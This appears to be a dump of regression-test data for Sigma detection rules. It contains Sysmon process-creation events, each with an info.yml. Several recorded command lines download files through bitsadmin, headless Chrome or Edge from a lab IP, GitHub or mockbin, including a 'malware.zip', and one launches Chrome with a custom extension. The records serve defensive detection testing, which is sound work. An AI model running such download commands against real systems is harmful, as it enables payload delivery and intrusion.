"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip/info.yml",
"content": "id: 3e393301-93d2-4759-b4d6-b957bdc0ae32\ndescription: N/A\ndate: 2025-12-10\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 99c840f2-2012-46fd-9141-c761987550ef\n title: Suspicious Download From Direct IP Via Bitsadmin\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip/99c840f2-2012-46fd-9141-c761987550ef.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_file_sharing_domains/8518ed3d-f7c9-4601-a26c-f361a4256a0c.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-10T04:47:28.250802Z\"\n }\n },\n \"EventRecordID\": 18580,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-10 04:47:28.224\",\n \"ProcessGuid\": \"0197231E-FB60-6938-DD10-000000000800\",\n \"ProcessId\": 8924,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\bitsadmin.exe\",\n \"FileVersion\": \"7.8.26100.1 (WinBuild.160101.0800)\",\n \"Description\": \"BITS administration utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"bitsadmin.exe\",\n \"CommandLine\": \"bitsadmin /transfer n https://raw.githubusercontent.com/redcanaryco/atomic-red-team/refs/heads/master/atomics/T1047/bin/calc.dll C:\\\\Users\\\\Public\\\\Music\\\\calc.dll\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=4FCFE1D61E6D962F06CE2B61FC11BC0F,SHA256=6FEB16602A2FD1158C6F7E56E3B05A5E9AC01E88089535978C890EC6954A5AFA,IMPHASH=44794EEDDEB70144ABA2F1483E762F30\",\n \"ParentProcessGuid\": \"00000000-0000-0000-0000-000000000000\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"-\",\n \"ParentCommandLine\": \"-\",\n \"ParentUser\": \"-\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_file_sharing_domains/info.yml",
"content": "id: 4788a4ef-6b50-4b68-9d10-d5471bd5fa02\ndescription: N/A\ndate: 2025-12-10\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 8518ed3d-f7c9-4601-a26c-f361a4256a0c\n title: Suspicious Download From File-Sharing Website Via Bitsadmin\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_file_sharing_domains/8518ed3d-f7c9-4601-a26c-f361a4256a0c.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions/5b80a791-ad9b-4b75-bcc1-ad4e1e89c200.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-10T04:22:10.216650Z\"\n }\n },\n \"EventRecordID\": 18325,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-10 04:22:10.201\",\n \"ProcessGuid\": \"0197231E-F572-6938-8B10-000000000800\",\n \"ProcessId\": 13808,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\bitsadmin.exe\",\n \"FileVersion\": \"7.8.26100.1 (WinBuild.160101.0800)\",\n \"Description\": \"BITS administration utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"bitsadmin.exe\",\n \"CommandLine\": \"bitsadmin /transfer n https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\calc.dll\",\n \"CurrentDirectory\": \"C:\\\\Program Files\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=4FCFE1D61E6D962F06CE2B61FC11BC0F,SHA256=6FEB16602A2FD1158C6F7E56E3B05A5E9AC01E88089535978C890EC6954A5AFA,IMPHASH=44794EEDDEB70144ABA2F1483E762F30\",\n \"ParentProcessGuid\": \"0197231E-F570-6938-8A10-000000000800\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions/info.yml",
"content": "id: 7149a708-0d83-4917-8478-24e682260b6f\ndescription: N/A\ndate: 2025-12-10\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 5b80a791-ad9b-4b75-bcc1-ad4e1e89c200\n title: File With Suspicious Extension Downloaded Via Bitsadmin\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions/5b80a791-ad9b-4b75-bcc1-ad4e1e89c200.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder/2ddef153-167b-4e89-86b6-757a9e65dcac.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-10T04:29:18.813904Z\"\n }\n },\n \"EventRecordID\": 18412,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-10 04:29:18.786\",\n \"ProcessGuid\": \"0197231E-F71E-6938-AE10-000000000800\",\n \"ProcessId\": 4432,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\bitsadmin.exe\",\n \"FileVersion\": \"7.8.26100.1 (WinBuild.160101.0800)\",\n \"Description\": \"BITS administration utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"bitsadmin.exe\",\n \"CommandLine\": \"bitsadmin /transfer n https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll C:\\\\Users\\\\Public\\\\calc.dll\",\n \"CurrentDirectory\": \"C:\\\\Program Files\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-AB9F-67AA-FB17-030000000000\",\n \"LogonId\": \"0x317fb\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=4FCFE1D61E6D962F06CE2B61FC11BC0F,SHA256=6FEB16602A2FD1158C6F7E56E3B05A5E9AC01E88089535978C890EC6954A5AFA,IMPHASH=44794EEDDEB70144ABA2F1483E762F30\",\n \"ParentProcessGuid\": \"00000000-0000-0000-0000-000000000000\",\n \"ParentProcessId\": 14736,\n \"ParentImage\": \"-\",\n \"ParentCommandLine\": \"-\",\n \"ParentUser\": \"-\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder/info.yml",
"content": "id: 5e620f3d-549d-4515-ae46-981d30ac4683\ndescription: N/A\ndate: 2025-12-10\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 2ddef153-167b-4e89-86b6-757a9e65dcac\n title: File Download Via Bitsadmin To A Suspicious Target Folder\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder/2ddef153-167b-4e89-86b6-757a9e65dcac.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download/0e8cfe08-02c9-4815-a2f8-0d157b7ed33e.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T23:20:06.319147Z\"\n }\n },\n \"EventRecordID\": 32822341,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-26 23:20:06.307\",\n \"ProcessGuid\": \"5AA13A44-ACA6-68FE-DE5D-000000004002\",\n \"ProcessId\": 9184,\n \"Image\": \"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\",\n \"FileVersion\": \"141.0.7390.123\",\n \"Description\": \"Google Chrome\",\n \"Product\": \"Google Chrome\",\n \"Company\": \"Google LLC\",\n \"OriginalFileName\": \"chrome.exe\",\n \"CommandLine\": \"\\\"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\\\" --headless --enable-logging --disable-gpu --dump-dom \\\"http://10.0.1.14/nas.txt\\\"\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=F946FD910D1D2B6BF54DDD57FEBF5F066058BC5A,MD5=36E9DFE8CEAE9E88100C6BBD1550DEDD,SHA256=6A9CF74C9FA74C16EA6F26351FA5EF8CE11191DBBD5EEADCB2591904767B96B0,IMPHASH=3E82AE93B8102462DDA81604AF164E8E\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download/info.yml",
"content": "id: 941b970d-535f-4543-8985-768e589fa8ff\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 0e8cfe08-02c9-4815-a2f8-0d157b7ed33e\n title: File Download with Headless Browser\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download/0e8cfe08-02c9-4815-a2f8-0d157b7ed33e.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_load_extension/88d6e60c-759d-4ac1-a447-c0f1466c2d21.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T23:25:03.181097Z\"\n }\n },\n \"EventRecordID\": 32923086,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-26 23:25:03.169\",\n \"ProcessGuid\": \"5AA13A44-ADCF-68FE-295E-000000004002\",\n \"ProcessId\": 4788,\n \"Image\": \"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\",\n \"FileVersion\": \"141.0.7390.123\",\n \"Description\": \"Google Chrome\",\n \"Product\": \"Google Chrome\",\n \"Company\": \"Google LLC\",\n \"OriginalFileName\": \"chrome.exe\",\n \"CommandLine\": \"\\\"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\\\" --load-extension=\\\"C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\HHe2lr\\\"\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=F946FD910D1D2B6BF54DDD57FEBF5F066058BC5A,MD5=36E9DFE8CEAE9E88100C6BBD1550DEDD,SHA256=6A9CF74C9FA74C16EA6F26351FA5EF8CE11191DBBD5EEADCB2591904767B96B0,IMPHASH=3E82AE93B8102462DDA81604AF164E8E\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_load_extension/info.yml",
"content": "id: e159e6ce-c717-4a38-af44-ff8c4f011c37\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 88d6e60c-759d-4ac1-a447-c0f1466c2d21\n title: Chromium Browser Instance Executed With Custom Extension\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_load_extension/88d6e60c-759d-4ac1-a447-c0f1466c2d21.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_mockbin_abuse/1c526788-0abe-4713-862f-b520da5e5316.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T23:28:43.862519Z\"\n }\n },\n \"EventRecordID\": 32995046,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-26 23:28:43.810\",\n \"ProcessGuid\": \"5AA13A44-AEAB-68FE-435E-000000004002\",\n \"ProcessId\": 5784,\n \"Image\": \"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\",\n \"FileVersion\": \"141.0.3537.99\",\n \"Description\": \"Microsoft Edge\",\n \"Product\": \"Microsoft Edge\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"msedge.exe\",\n \"CommandLine\": \"\\\"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\\\" --headless=new --disable-gpu https://mockbin.org/bin/31b1332f-8f5c-490e-8ec0-78e77b4e5709\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=77B843BADE25E2B6FEA4ED02D9DCFDB32759285A,MD5=2CB9DCC4B733F88A7155F0D63AC634B8,SHA256=151A7E879BB4B534AC95D61B982C899CFF3DC01EDC2575FC8D71B3B9B44C8834,IMPHASH=4C2A67DEB457B8BF9F317820EE11E05D\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_mockbin_abuse/info.yml",
"content": "id: 686da1dd-caec-47d8-a254-07ab54f1f3c7\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 1c526788-0abe-4713-862f-b520da5e5316\n title: Chromium Browser Headless Execution To Mockbin Like Site\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_mockbin_abuse/1c526788-0abe-4713-862f-b520da5e5316.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension/27ba3207-dd30-4812-abbf-5d20c57d474e.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T23:30:09.492105Z\"\n }\n },\n \"EventRecordID\": 33024467,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-26 23:30:09.480\",\n \"ProcessGuid\": \"5AA13A44-AF01-68FE-535E-000000004002\",\n \"ProcessId\": 2536,\n \"Image\": \"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\",\n \"FileVersion\": \"141.0.7390.123\",\n \"Description\": \"Google Chrome\",\n \"Product\": \"Google Chrome\",\n \"Company\": \"Google LLC\",\n \"OriginalFileName\": \"chrome.exe\",\n \"CommandLine\": \"\\\"C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\\\" --load-extension=\\\"C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\HHe2lr\\\"\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=F946FD910D1D2B6BF54DDD57FEBF5F066058BC5A,MD5=36E9DFE8CEAE9E88100C6BBD1550DEDD,SHA256=6A9CF74C9FA74C16EA6F26351FA5EF8CE11191DBBD5EEADCB2591904767B96B0,IMPHASH=3E82AE93B8102462DDA81604AF164E8E\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension/info.yml",
"content": "id: 78e88bc4-deea-488e-a27f-b4d9d07d3a72\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 27ba3207-dd30-4812-abbf-5d20c57d474e\n title: Suspicious Chromium Browser Instance Executed With Custom Extension\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_susp_load_extension/27ba3207-dd30-4812-abbf-5d20c57d474e.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_inline_file_download/94771a71-ba41-4b6e-a757-b531372eaab6.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T23:34:35.016637Z\"\n }\n },\n \"EventRecordID\": 33119645,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-26 23:34:35.002\",\n \"ProcessGuid\": \"5AA13A44-B00B-68FE-9F5E-000000004002\",\n \"ProcessId\": 4584,\n \"Image\": \"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\",\n \"FileVersion\": \"141.0.3537.99\",\n \"Description\": \"Microsoft Edge\",\n \"Product\": \"Microsoft Edge\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"msedge.exe\",\n \"CommandLine\": \"\\\"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\\\" \\\"http://10.0.1.14/malware.zip\\\"\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=77B843BADE25E2B6FEA4ED02D9DCFDB32759285A,MD5=2CB9DCC4B733F88A7155F0D63AC634B8,SHA256=151A7E879BB4B534AC95D61B982C899CFF3DC01EDC2575FC8D71B3B9B44C8834,IMPHASH=4C2A67DEB457B8BF9F317820EE11E05D\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_inline_file_download/info.yml",
"content": "id: c7f0da2b-2eb9-46ee-abd0-d2f8e3c81975\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 94771a71-ba41-4b6e-a757-b531372eaab6\n title: File Download From Browser Process Via Inline URL\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_browsers_inline_file_download/94771a71-ba41-4b6e-a757-b531372eaab6.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_browsers_tor_execution/62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T23:39:33.565515Z\"\n }\n },\n \"EventRecordID\": 33232425,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-26 23:39:33.564\",\n \"ProcessGuid\": 